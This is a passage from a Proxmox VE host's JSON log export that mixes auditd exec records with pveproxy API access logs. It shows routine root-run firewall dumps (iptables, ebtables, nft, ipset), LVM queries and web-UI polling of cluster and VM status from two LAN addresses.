[20/06/2026:15:33:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 870"} {"@timestamp":1781965225339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.339:64694): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd0a5ec420 a1=5f8b20df01c0 a2=5f8b20dce680 a3=5 items=2 ppid=62148 pid=62149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535566,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.566:66021): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964445239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.239:61063): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58623 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966000782,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965225335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.335:64692): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535543,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.543:66020): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964445232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.232:61062): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58622 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965999792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781965225327,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.327:64691): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535536,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.536:66019): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964445225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.225:61061): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965999792,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965225318,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.318:64690): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535528,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.528:66018): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964445217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.217:61060): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965999792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965225311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.311:64689): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0d8b50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535525,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.525:66017): argc=1 a0=\"date\""} {"@timestamp":1781964445210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.210:61059): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965999792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:18 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965225303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.303:64688): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140980 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62144 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535517,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.517:66015): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964445207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.207:61058): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5cae1e17b740 items=0 ppid=1156 pid=58618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965998767,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965225295,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965225.295:64687): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62143 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535503,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.503:66014): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964445205,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.205:61057): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13a210 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965997662,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781965224895,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965224.895:64686): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cac50 a1=64f8d5f90bd0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535489,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.489:66013): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964445200,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.200:61056): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12f7b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965997662,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781965224873,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965224.873:64685): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d17640b0 a1=64f8d1939980 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62139 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535480,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.480:66012): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964445195,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.195:61055): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58616 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965222230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965222.230:64684): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535466,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.466:66011): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964445189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.189:61054): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1385e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58615 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:14 +0100] \"GET /api2/extjs/cluster/sdn?_dc=1781965994252 HTTP/1.1\" 200 118"} {"@timestamp":1781965222220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965222.220:64681): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965535452,"@rawstring":"node=pve type=EXECVE msg=audit(1781965535.452:66010): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964445180,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.180:61053): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965217209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965217.209:64678): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62136 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965534614,"@rawstring":"node=pve type=EXECVE msg=audit(1781965534.614:66009): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964445175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.175:61052): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8abd350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:14 +0100] \"GET /api2/extjs/cluster/options?_dc=1781965994252 HTTP/1.1\" 200 100"} {"@timestamp":1781965217201,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965217.201:64675): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965534579,"@rawstring":"node=pve type=EXECVE msg=audit(1781965534.579:66008): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964445168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.168:61051): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:14 +0100] \"GET /api2/extjs/version?_dc=1781965994252 HTTP/1.1\" 200 84"} {"@timestamp":1781965215281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.281:64672): arch=c000003e syscall=59 success=yes exit=0 a0=5acfb1802d70 a1=5acfb180eb30 a2=5acfb17dc680 a3=5 items=2 ppid=62128 pid=62134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965533363,"@rawstring":"node=pve type=EXECVE msg=audit(1781965533.363:66007): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964445162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.162:61050): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:14 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.277:64671): arch=c000003e syscall=59 success=yes exit=0 a0=5acf9df2aac8 a1=7ffcc69247b0 a2=5acfb17dc680 a3=5acf9df0e24e items=2 ppid=62128 pid=62130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965533352,"@rawstring":"node=pve type=EXECVE msg=audit(1781965533.352:66004): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964445159,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.159:61049): arch=c000003e syscall=59 success=yes exit=0 a0=5b714a5a0d30 a1=5b714a5acf40 a2=5b714a57a680 a3=5 items=2 ppid=58604 pid=58610 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.277:64670): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcc6924770 a1=5acfb17fe410 a2=5acfb17dc680 a3=5 items=2 ppid=62128 pid=62129 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528343,"@rawstring":"node=pve type=EXECVE msg=audit(1781965528.343:66001): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964445156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.156:61048): arch=c000003e syscall=59 success=yes exit=0 a0=5b711e290ac8 a1=7fffffdf8cc0 a2=5b714a57a680 a3=5b711e27424e items=2 ppid=58604 pid=58606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 908"} {"@timestamp":1781965215272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.272:64668): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62128 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965528335,"@rawstring":"node=pve type=EXECVE msg=audit(1781965528.335:65998): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964445155,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.155:61047): arch=c000003e syscall=59 success=yes exit=0 a0=7fffffdf8c80 a1=5b714a59c3d0 a2=5b714a57a680 a3=5 items=2 ppid=58604 pid=58605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965994737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965215266,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.266:64667): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62127 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525425,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.425:65995): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964445151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.151:61045): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58604 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965993716,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965215254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.254:64666): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62126 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525419,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.419:65994): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964445145,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.145:61044): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965993716,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 909"} {"@timestamp":1781965215245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.245:64665): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62125 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525417,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.417:65993): argc=1 a0=\"date\""} {"@timestamp":1781964445138,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.138:61043): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965992750,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781965215236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.236:64664): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62124 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965525409,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.409:65991): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964445133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.133:61042): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b3b0e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965992750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965215232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.232:64663): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=564e422f0740 items=0 ppid=1156 pid=62123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965525399,"@rawstring":"node=pve type=EXECVE msg=audit(1781965525.399:65990): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964445126,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.126:61041): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f1190 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 